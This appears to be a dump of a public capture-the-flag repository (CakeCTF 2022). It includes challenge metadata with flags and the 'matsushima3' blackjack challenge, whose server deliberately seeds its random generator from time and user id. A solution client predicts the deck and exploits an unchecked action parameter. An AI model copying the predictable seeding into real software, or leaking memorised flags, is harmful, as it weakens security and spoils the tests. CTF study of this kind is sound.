https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/g.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/green.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/green.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/heart.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/heart.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/j.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/j.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/kitten.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/kitten.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/lambda.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/lambda.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/omega.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/omega.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/orange.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/orange.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/pi.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/pi.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/question.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/question.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/r1.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r1.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/r2.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r2.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/r3.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r3.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/r4.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r4.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/r5.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r5.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/red.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/red.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/smiley.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/smiley.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/tangerine.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/tangerine.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/theta.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/theta.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/turquoise.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/turquoise.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/violet.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/violet.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/white.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/white.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/yellow.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/yellow.wav -------------------------------------------------------------------------------- /misc/cake_memory/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "Cake Memory" 3 | description: > 4 | Welcome to Cake Memory.
5 | This advanced memory and cognitive recognition test is designed to stimulate several segments of the brain, allowing us to see how quickly and efficiently your brain works. 6 | flag: "CakeCTF{Do_you_have_Chromesthesia?}" 7 | author: ptr-yudai 8 | tags: 9 | - cheat 10 | is_survey: false 11 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/client/LICENSE.txt: -------------------------------------------------------------------------------- 1 | [ Pixel Art ] 2 | - Author: Nora Shishi 3 | - Revised by: rh0, devurandom, Kumpu 4 | - License: CC-BY 3.0 (https://creativecommons.org/licenses/by/3.0/) 5 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/client/game.py: -------------------------------------------------------------------------------- 1 | import enum 2 | import json 3 | import os 4 | import pyxel 5 | import random 6 | import requests 7 | 8 | HOST = os.getenv("HOST", "misc.2022.cakectf.com") 9 | PORT = os.getenv("PORT", 10011) 10 | 11 | class GameState(enum.Enum): 12 | NONE = enum.auto() 13 | INIT = enum.auto() 14 | GAME = enum.auto() 15 | WIN = enum.auto() 16 | LOSE = enum.auto() 17 | DRAW = enum.auto() 18 | FLAG = enum.auto() 19 | 20 | class GameAction(enum.Enum): 21 | HIT = enum.auto() 22 | STAND = enum.auto() 23 | 24 | class ServerConnection(object): 25 | def __init__(self, host, port): 26 | self.host = host 27 | self.port = port 28 | self.session = None 29 | 30 | def request(self, endpoint, data=None): 31 | try: 32 | r = requests.get(f"http://{self.host}:{self.port}/{endpoint}", 33 | params=data, 34 | cookies=self.session) 35 | except requests.exceptions.RequestException as e: 36 | print("[ERROR]", e) 37 | print(f"Server '{self.host}:{self.port}' is down...?") 38 | exit(1) 39 | 40 | if self.session is None: 41 | self.session = r.cookies 42 | return json.loads(r.text) 43 | 44 | class Game(object): 45 | def __init__(self): 46 | self.reset() 47 | pyxel.init(168, 128, title='ALLBET BLACKJACK', display_scale=3) 48 | pyxel.load("resource.pyxres") 49 | pyxel.playm(0, loop=True) 50 | pyxel.run(self.update, self.draw) 51 | 52 | def reset(self): 53 | self.state = GameState.INIT 54 | self.frame = 0 55 | self.player_score = 0 56 | self.dealer_score = 0 57 | self.player_hand = [] 58 | self.dealer_hand = [] 59 | self.num_dealer_cards = 0 60 | self.connection = ServerConnection(HOST, PORT) 61 | self.money = self.connection.request('user/new')['money'] 62 | self.title_cards = random.sample( 63 | [(i // 13, i % 13) for i in range(4*13)], 5 64 | ) 65 | 66 | def update(self): 67 | """Update game state and handle key events""" 68 | if self.state == GameState.INIT: 69 | if pyxel.btnp(pyxel.KEY_SPACE): # Game start 70 | pyxel.play(3, [1]) 71 | self.frame = 0 72 | self.init_game() 73 | self.state = GameState.GAME 74 | 75 | elif self.state == GameState.GAME: 76 | if pyxel.btnp(pyxel.KEY_Z): # Player chose hit 77 | pyxel.play(3, [0]) 78 | self.notify_action(GameAction.HIT) 79 | 80 | elif pyxel.btnp(pyxel.KEY_X): # Player chose stand 81 | pyxel.play(3, [0]) 82 | self.notify_action(GameAction.STAND) 83 | 84 | elif self.state == GameState.DRAW or self.state == GameState.WIN: 85 | if pyxel.btnp(pyxel.KEY_Z): 86 | pyxel.play(3, [0]) 87 | self.init_game() 88 | self.state = GameState.GAME 89 | self.frame = 0 90 | 91 | elif self.state == GameState.LOSE: 92 | if pyxel.btnp(pyxel.KEY_Z): 93 | pyxel.play(3, [0]) 94 | self.reset() 95 | self.init_game() 96 | self.state = GameState.GAME 97 | 98 | self.frame += 1 99 | 100 | def draw(self): 101 | """Draw game screen""" 102 | pyxel.cls(0) 103 | pyxel.rect(0, 0, 256, 192, 11) 104 | 105 | if self.state == GameState.INIT: 106 | # Draw title screen 107 | pyxel.text(72, 16, "ALL-BET", 2) 108 | pyxel.text(68, 24, "B A K A K", 0) 109 | pyxel.text(68, 27, " L C J C ", 0) 110 | if (self.frame // 3) % 10 < 5: 111 | pyxel.text(48, 108, "PRESS SPACE TO START", 8) 112 | 113 | self.draw_cards(self.title_cards, 40, 48) 114 | 115 | else: 116 | # Draw status 117 | pyxel.text(8, 8, "DEALER", 0) 118 | pyxel.text(8, 64, "PLAYER", 0) 119 | pyxel.text(8, 72, f"BET: ${self.money}", 0) 120 | if self.player_score != -1: 121 | pyxel.text(8, 80, f"TOTAL: {self.player_score}", 0) 122 | else: 123 | pyxel.text(8, 80, "BURST!", 0) 124 | 125 | self.draw_cards(self.player_hand, 56, 60) 126 | if self.state == GameState.GAME: 127 | self.draw_cards(self.num_dealer_cards, 56, 4) 128 | 129 | if (self.frame // 3) % 10 < 8: 130 | pyxel.text(46, 116, "[Z] HIT / [X] STAND", 8) 131 | 132 | else: 133 | if self.dealer_score != -1: 134 | pyxel.text(8, 16, f"TOTAL: {self.dealer_score}", 0) 135 | else: 136 | pyxel.text(8, 16, "BURST!", 0) 137 | self.draw_cards(self.dealer_hand, 56, 4) 138 | 139 | if (self.frame // 3) % 10 < 8: 140 | if self.state == GameState.DRAW: 141 | pyxel.text(28, 116, "DRAW! PRESS [Z] TO CONTINUE", 8) 142 | elif self.state == GameState.LOSE: 143 | pyxel.text(24, 116, "YOU LOSE! PRESS [Z] TO RESTART", 8) 144 | elif self.state == GameState.WIN: 145 | pyxel.text(24, 116, "YOU WIN! PRESS [Z] TO CONTINUE", 8) 146 | elif self.state == GameState.FLAG: 147 | pyxel.text(28, 116, self.flag, 8) 148 | 149 | def draw_cards(self, cards, x_origin, y_origin): 150 | """Draw cards""" 151 | if isinstance(cards, int): 152 | for i in range(cards): 153 | pyxel.blt(x_origin+i*16, y_origin, 1, 0, 144, 32, 48, 5) 154 | else: 155 | for i, (t, c) in enumerate(cards): 156 | if c < 5: 157 | pyxel.blt(x_origin+i*16, y_origin, 0, 158 | 32*t, 48*c, 32, 48, 5) 159 | elif c < 10: 160 | pyxel.blt(x_origin+i*16, y_origin, 0, 161 | 32*(4+t), 48*(c-5), 32, 48, 5) 162 | else: 163 | pyxel.blt(x_origin+i*16, y_origin, 1, 164 | 32*t, 48*(c-10), 32, 48, 5) 165 | 166 | def notify_action(self, act): 167 | """Player chose hit or stand""" 168 | if act == GameAction.HIT: 169 | # Hit 170 | response = self.connection.request('game/act', {'action': 'hit'}) 171 | 172 | elif act == GameAction.STAND: 173 | # Stand 174 | response = self.connection.request('game/act', {'action': 'stand'}) 175 | 176 | self.player_score = response['player_score'] 177 | self.dealer_score = response['dealer_score'] 178 | self.player_hand = response['player_hand'] 179 | self.dealer_hand = response['dealer_hand'] 180 | self.num_dealer_cards = response['num_dealer_cards'] 181 | self.money = response['money'] 182 | 183 | # Update state 184 | if response['state'] == 'win': 185 | pyxel.play(3, [3]) 186 | self.state = GameState.WIN 187 | elif response['state'] == 'lose': 188 | pyxel.play(3, [2]) 189 | self.state = GameState.LOSE 190 | elif response['state'] == 'draw': 191 | pyxel.play(3, [3]) 192 | self.state = GameState.DRAW 193 | elif response['state'] == 'flag': 194 | pyxel.play(3, [3]) 195 | self.flag = response['flag'] 196 | self.state = GameState.FLAG 197 | 198 | def init_game(self): 199 | """Start game""" 200 | response = self.connection.request('game/new') 201 | self.player_hand = response['player_hand'] 202 | self.player_score = response['player_score'] 203 | self.num_dealer_cards = response['num_dealer_cards'] 204 | 205 | if __name__ == '__main__': 206 | Game() 207 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/client/requirements.txt: -------------------------------------------------------------------------------- 1 | pyxel==1.7.2 2 | requests 3 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/client/resource.pyxres: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/matsushima3/distfiles/client/resource.pyxres -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./server 5 | ports: 6 | - "10011:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/home/ctf/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: always 13 | 14 | redis: 15 | build: ./redis 16 | restart: always 17 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:6-alpine 2 | COPY ./redis.conf /redis.conf 3 | CMD ["redis-server", "/redis.conf"] 4 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask Flask-Session redis 6 | 7 | WORKDIR /home/ctf 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/server/app.py: -------------------------------------------------------------------------------- 1 | import enum 2 | from flask import abort, Flask, jsonify, session, request 3 | from flask_session import Session 4 | import os 5 | import random 6 | import redis 7 | import time 8 | 9 | HOST = os.getenv("HOST", "redis") 10 | PORT = os.getenv("PORT", 6379) 11 | 12 | app = Flask(__name__) 13 | # Use redis as session store to prevent session reuse 14 | SESSION_TYPE = 'redis' 15 | SESSION_REDIS = redis.Redis(HOST, PORT, db=0) 16 | app.config.from_object(__name__) 17 | Session(app) 18 | 19 | class GameState(enum.Enum): 20 | IN_PROGRESS = enum.auto() 21 | PLAYER_WIN = enum.auto() 22 | PLAYER_LOSE = enum.auto() 23 | PLAYER_DRAW = enum.auto() 24 | PLAYER_CHEAT = enum.auto() 25 | 26 | def calculate_score(cards): 27 | """Calculate current total of cards""" 28 | num_ace = 0 29 | score = 0 30 | for _, c in cards: 31 | if c == 0: num_ace += 1 32 | elif c < 10: score += c + 1 33 | else: score += 10 34 | 35 | while num_ace > 0: 36 | if 21 - score >= 10 + num_ace: score += 11 37 | else: score += 1 38 | num_ace -= 1 39 | 40 | return -1 if score > 21 else score 41 | 42 | 43 | @app.before_request 44 | def before_request(): 45 | if 'state' in session and session['state'] == GameState.PLAYER_CHEAT: 46 | abort(400, "Cheat detected") 47 | 48 | 49 | @app.route('/user/new') 50 | def user_new(): 51 | """Create a new session""" 52 | session['money'] = 100 53 | session['state'] = GameState.PLAYER_DRAW 54 | session['user_id'] = random.randrange(0, 1000000000) 55 | return jsonify({'money': session['money'], 'user_id': session['user_id']}) 56 | 57 | @app.route('/game/new') 58 | def game_new(): 59 | """Create a new game""" 60 | if session['state'] == GameState.IN_PROGRESS: 61 | # Player tried to abort game 62 | session['state'] = GameState.PLAYER_CHEAT 63 | abort(400, "Cheat detected") 64 | 65 | # Shuffle cards 66 | deck = [(i // 13, i % 13) for i in range(4*13)] 67 | random.seed(int(time.time()) ^ session['user_id']) 68 | random.shuffle(deck) 69 | session['deck'] = deck 70 | 71 | # Create initial hand 72 | session['player_hand'] = [] 73 | session['dealer_hand'] = [] 74 | for i in range(2): 75 | session['player_hand'].append(session['deck'].pop()) 76 | session['dealer_hand'].append(session['deck'].pop()) 77 | session['player_score'] = calculate_score(session['player_hand']) 78 | session['dealer_score'] = calculate_score(session['dealer_hand']) 79 | 80 | # Return state 81 | session['state'] = GameState.IN_PROGRESS 82 | return jsonify({ 83 | 'player_hand': session['player_hand'], 84 | 'player_score': session['player_score'], 85 | 'num_dealer_cards': len(session['dealer_hand']) 86 | }) 87 | 88 | @app.route('/game/act') 89 | def game_act(): 90 | """Player action""" 91 | if session['state'] != GameState.IN_PROGRESS: 92 | # Player tried to use expired game 93 | session['state'] = GameState.PLAYER_CHEAT 94 | abort(400, "Cheat detected") 95 | 96 | # Draw cards 97 | player_action = request.args.get('action', 'hit') 98 | dealer_action = 'stand' 99 | if player_action == 'hit': 100 | # Player chose hit (Game continues) 101 | session['player_hand'].append(session['deck'].pop()) 102 | session['player_score'] = calculate_score(session['player_hand']) 103 | 104 | # Dealer action 105 | if session['dealer_score'] <= 16: 106 | session['dealer_hand'].append(session['deck'].pop()) 107 | session['dealer_score'] = calculate_score(session['dealer_hand']) 108 | dealer_action = 'hit' 109 | 110 | else: 111 | # Player chose stand (Game ends) 112 | next_card = session['deck'].pop() 113 | while session['dealer_score'] <= 16: 114 | session['dealer_hand'].append(next_card) 115 | session['dealer_score'] = calculate_score(session['dealer_hand']) 116 | if session['dealer_score'] == -1: 117 | # Dealer bursts 118 | break 119 | else: 120 | next_card = session['deck'].pop() 121 | 122 | # Update state 123 | dealer_hand = session['dealer_hand'] 124 | dealer_score = session['dealer_score'] 125 | 126 | if session['player_score'] == session['dealer_score'] == -1 or \ 127 | (player_action == 'stand' and session['player_score'] == session['dealer_score']): 128 | # Draw 129 | session['state'] = GameState.PLAYER_DRAW 130 | state = 'draw' 131 | 132 | elif session['player_score'] == -1 or \ 133 | (player_action == 'stand' and session['player_score'] < session['dealer_score']): 134 | # Player loses 135 | session['state'] = GameState.PLAYER_LOSE 136 | session['money'] = 0 137 | state = 'lose' 138 | 139 | elif session['dealer_score'] == -1 or \ 140 | (player_action == 'stand' and session['player_score'] > session['dealer_score']): 141 | # Player wins 142 | session['state'] = GameState.PLAYER_WIN 143 | session['money'] *= 2 144 | state = 'win' 145 | 146 | else: 147 | # Game in progress 148 | dealer_hand = None 149 | dealer_score = 0 150 | state = 'game' 151 | 152 | # Special bonus 153 | if session['money'] > 999999999999999: 154 | flag = os.getenv('FLAG', "CakeCTF{**** REDUCTED ****}") 155 | state = 'flag' 156 | else: 157 | flag = '' 158 | 159 | return jsonify({ 160 | 'state': state, 161 | 'player_hand': session['player_hand'], 162 | 'player_score': session['player_score'], 163 | 'dealer_hand': dealer_hand, 164 | 'dealer_score': dealer_score, 165 | 'num_dealer_cards': len(session['dealer_hand']), 166 | 'dealer_action': dealer_action, 167 | 'money': session['money'], 168 | 'flag': flag 169 | }) 170 | 171 | if __name__ == '__main__': 172 | app.run() 173 | -------------------------------------------------------------------------------- /misc/matsushima3/distfiles/server/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /misc/matsushima3/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./distfiles/server 5 | ports: 6 | - "10011:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/home/ctf/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | - FLAG="CakeCTF{INFAMOUS_LOGIC_BUG}" 13 | restart: always 14 | 15 | redis: 16 | build: ./distfiles/redis 17 | restart: always 18 | -------------------------------------------------------------------------------- /misc/matsushima3/solution/game.mod.py: -------------------------------------------------------------------------------- 1 | import enum 2 | import json 3 | import os 4 | import pyxel 5 | import random 6 | import requests 7 | import time 8 | 9 | HOST = os.getenv("HOST", "misc.2022.cakectf.com") 10 | PORT = os.getenv("PORT", 10011) 11 | 12 | class GameState(enum.Enum): 13 | NONE = enum.auto() 14 | INIT = enum.auto() 15 | GAME = enum.auto() 16 | WIN = enum.auto() 17 | LOSE = enum.auto() 18 | DRAW = enum.auto() 19 | FLAG = enum.auto() 20 | 21 | class GameAction(enum.Enum): 22 | HIT = enum.auto() 23 | STAND = enum.auto() 24 | SKIP = enum.auto() 25 | 26 | class ServerConnection(object): 27 | def __init__(self, host, port): 28 | self.host = host 29 | self.port = port 30 | self.session = None 31 | 32 | def request(self, endpoint, data=None): 33 | try: 34 | r = requests.get(f"http://{self.host}:{self.port}/{endpoint}", 35 | params=data, 36 | cookies=self.session) 37 | except requests.exceptions.RequestException as e: 38 | print("[ERROR]", e) 39 | print(f"Server '{self.host}:{self.port}' is down...?") 40 | exit(1) 41 | 42 | if self.session is None: 43 | self.session = r.cookies 44 | return json.loads(r.text) 45 | 46 | class Game(object): 47 | def __init__(self): 48 | self.reset() 49 | pyxel.init(168, 128, title='ALLBET BLACKJACK', display_scale=3) 50 | pyxel.load("../distfiles/client/resource.pyxres") 51 | #pyxel.playm(0, loop=True) 52 | pyxel.run(self.update, self.draw) 53 | 54 | def reset(self): 55 | self.state = GameState.INIT 56 | self.frame = 0 57 | self.player_score = 0 58 | self.dealer_score = 0 59 | self.player_hand = [] 60 | self.dealer_hand = [] 61 | self.num_dealer_cards = 0 62 | self.connection = ServerConnection(HOST, PORT) 63 | r = self.connection.request('user/new') 64 | self.user_id = r['user_id'] 65 | self.money = r['money'] 66 | self.title_cards = random.sample( 67 | [(i // 13, i % 13) for i in range(4*13)], 5 68 | ) 69 | 70 | def update(self): 71 | """Update game state and handle key events""" 72 | if self.state == GameState.INIT: 73 | if pyxel.btnp(pyxel.KEY_SPACE): # Game start 74 | pyxel.play(3, [1]) 75 | self.frame = 0 76 | self.init_game() 77 | self.state = GameState.GAME 78 | 79 | elif self.state == GameState.GAME: 80 | if pyxel.btnp(pyxel.KEY_Z): # Player chose hit 81 | pyxel.play(3, [0]) 82 | self.notify_action(GameAction.HIT) 83 | 84 | elif pyxel.btnp(pyxel.KEY_X): # Player chose stand 85 | pyxel.play(3, [0]) 86 | self.notify_action(GameAction.STAND) 87 | 88 | elif pyxel.btnp(pyxel.KEY_C): # Player chose skip 89 | pyxel.play(3, [0]) 90 | self.notify_action(GameAction.SKIP) 91 | 92 | elif self.state == GameState.DRAW or self.state == GameState.WIN: 93 | if pyxel.btnp(pyxel.KEY_Z): 94 | pyxel.play(3, [0]) 95 | self.init_game() 96 | self.state = GameState.GAME 97 | self.frame = 0 98 | 99 | elif self.state == GameState.LOSE: 100 | if pyxel.btnp(pyxel.KEY_Z): 101 | pyxel.play(3, [0]) 102 | self.reset() 103 | self.init_game() 104 | self.state = GameState.GAME 105 | 106 | self.frame += 1 107 | 108 | def draw(self): 109 | """Draw game screen""" 110 | pyxel.cls(0) 111 | pyxel.rect(0, 0, 256, 192, 11) 112 | 113 | if self.state == GameState.INIT: 114 | # Draw title screen 115 | pyxel.text(72, 16, "ALL-BET", 2) 116 | pyxel.text(68, 24, "B A K A K", 0) 117 | pyxel.text(68, 27, " L C J C ", 0) 118 | if (self.frame // 3) % 10 < 5: 119 | pyxel.text(48, 108, "PRESS SPACE TO START", 8) 120 | 121 | self.draw_cards(self.title_cards, 40, 48) 122 | 123 | else: 124 | # Draw status 125 | pyxel.text(8, 8, "DEALER", 0) 126 | pyxel.text(8, 92, "PLAYER", 0) 127 | pyxel.text(8, 100, f"BET: ${self.money}", 0) 128 | if self.player_score != -1: 129 | pyxel.text(8, 108, f"TOTAL: {self.player_score}", 0) 130 | else: 131 | pyxel.text(8, 108, "BURST!", 0) 132 | 133 | self.draw_cards(self.deck[-2:], 4, 28) 134 | pyxel.text(8, 80, "NEXT CARDS", 8) 135 | 136 | self.draw_cards(self.player_hand, 56, 60) 137 | self.draw_cards(self.dealer_hand, 56, 4) 138 | if self.dealer_score != -1: 139 | pyxel.text(8, 16, f"TOTAL: {self.dealer_score}", 0) 140 | else: 141 | pyxel.text(8, 16, "BURST!", 0) 142 | 143 | if self.state == GameState.GAME: 144 | if (self.frame // 3) % 10 < 8: 145 | pyxel.text(24, 116, "[Z] HIT / [X] STAND / [C] SKIP", 8) 146 | 147 | else: 148 | if (self.frame // 3) % 10 < 8: 149 | if self.state == GameState.DRAW: 150 | pyxel.text(28, 116, "DRAW! PRESS [Z] TO CONTINUE", 8) 151 | elif self.state == GameState.LOSE: 152 | pyxel.text(24, 116, "YOU LOSE! PRESS [Z] TO RESTART", 8) 153 | elif self.state == GameState.WIN: 154 | pyxel.text(24, 116, "YOU WIN! PRESS [Z] TO CONTINUE", 8) 155 | elif self.state == GameState.FLAG: 156 | pyxel.text(28, 116, self.flag, 8) 157 | 158 | def draw_cards(self, cards, x_origin, y_origin): 159 | """Draw cards""" 160 | if isinstance(cards, int): 161 | for i in range(cards): 162 | pyxel.blt(x_origin+i*16, y_origin, 1, 0, 144, 32, 48, 5) 163 | else: 164 | for i, (t, c) in enumerate(cards): 165 | if c < 5: 166 | pyxel.blt(x_origin+i*16, y_origin, 0, 167 | 32*t, 48*c, 32, 48, 5) 168 | elif c < 10: 169 | pyxel.blt(x_origin+i*16, y_origin, 0, 170 | 32*(4+t), 48*(c-5), 32, 48, 5) 171 | else: 172 | pyxel.blt(x_origin+i*16, y_origin, 1, 173 | 32*t, 48*(c-10), 32, 48, 5) 174 | 175 | def notify_action(self, act): 176 | """Player chose hit or stand""" 177 | if act == GameAction.HIT: 178 | # Hit 179 | response = self.connection.request('game/act', {'action': 'hit'}) 180 | self.deck.pop() 181 | if response['num_dealer_cards'] != len(self.dealer_hand): 182 | self.dealer_hand.append(self.deck.pop()) 183 | 184 | elif act == GameAction.STAND: 185 | # Stand 186 | response = self.connection.request('game/act', {'action': 'stand'}) 187 | 188 | elif act == GameAction.SKIP: 189 | # Skip 190 | response = self.connection.request('game/act', {'action': 'xxx'}) 191 | next_card = self.deck.pop() 192 | while response['num_dealer_cards'] != len(self.dealer_hand): 193 | self.dealer_hand.append(next_card) 194 | next_card = self.deck.pop() 195 | 196 | self.player_score = response['player_score'] 197 | self.player_hand = response['player_hand'] 198 | self.num_dealer_cards = response['num_dealer_cards'] 199 | self.dealer_score = calculate_score(self.dealer_hand) 200 | self.money = response['money'] 201 | 202 | # Update state 203 | if response['state'] == 'win': 204 | pyxel.play(3, [3]) 205 | self.state = GameState.WIN 206 | elif response['state'] == 'lose': 207 | pyxel.play(3, [2]) 208 | self.state = GameState.LOSE 209 | elif response['state'] == 'draw': 210 | pyxel.play(3, [3]) 211 | self.state = GameState.DRAW 212 | elif response['state'] == 'flag': 213 | pyxel.play(3, [3]) 214 | self.flag = response['flag'] 215 | self.state = GameState.FLAG 216 | 217 | def init_game(self): 218 | """Start game""" 219 | response = self.connection.request('game/new') 220 | for seed in range(int(time.time()), int(time.time()) - 5, -1): 221 | self.deck = [(i // 13, i % 13) for i in range(4*13)] 222 | random.seed(seed ^ self.user_id) 223 | random.shuffle(self.deck) 224 | if self.deck[-1] == tuple(response['player_hand'][0]) and \ 225 | self.deck[-3] == tuple(response['player_hand'][1]): 226 | print("Found seed:", seed) 227 | break 228 | else: 229 | print("Bad luck!") 230 | exit(1) 231 | 232 | self.player_hand = [] 233 | self.dealer_hand = [] 234 | for i in range(2): 235 | self.player_hand.append(self.deck.pop()) 236 | self.dealer_hand.append(self.deck.pop()) 237 | self.player_score = calculate_score(self.player_hand) 238 | self.dealer_score = calculate_score(self.dealer_hand) 239 | 240 | def calculate_score(cards): 241 | """Calculate current total of cards""" 242 | num_ace = 0 243 | score = 0 244 | for _, c in cards: 245 | if c == 0: num_ace += 1 246 | elif c < 10: score += c + 1 247 | else: score += 10 248 | 249 | while num_ace > 0: 250 | if 21 - score >= 10 + num_ace: score += 11 251 | else: score += 1 252 | num_ace -= 1 253 | 254 | return -1 if score > 21 else score 255 | 256 | if __name__ == '__main__': 257 | Game() 258 | -------------------------------------------------------------------------------- /misc/matsushima3/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "matsushima3" 3 | description: > 4 | Are you a gambler? 5 | flag: "CakeCTF{INFAMOUS_LOGIC_BUG}" 6 | author: ptr-yudai 7 | tags: 8 | - cheat 9 | is_survey: false 10 | -------------------------------------------------------------------------------- /misc/readme2022/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN groupadd -r ctf && useradd -r -g ctf ctf 7 | 8 | RUN echo 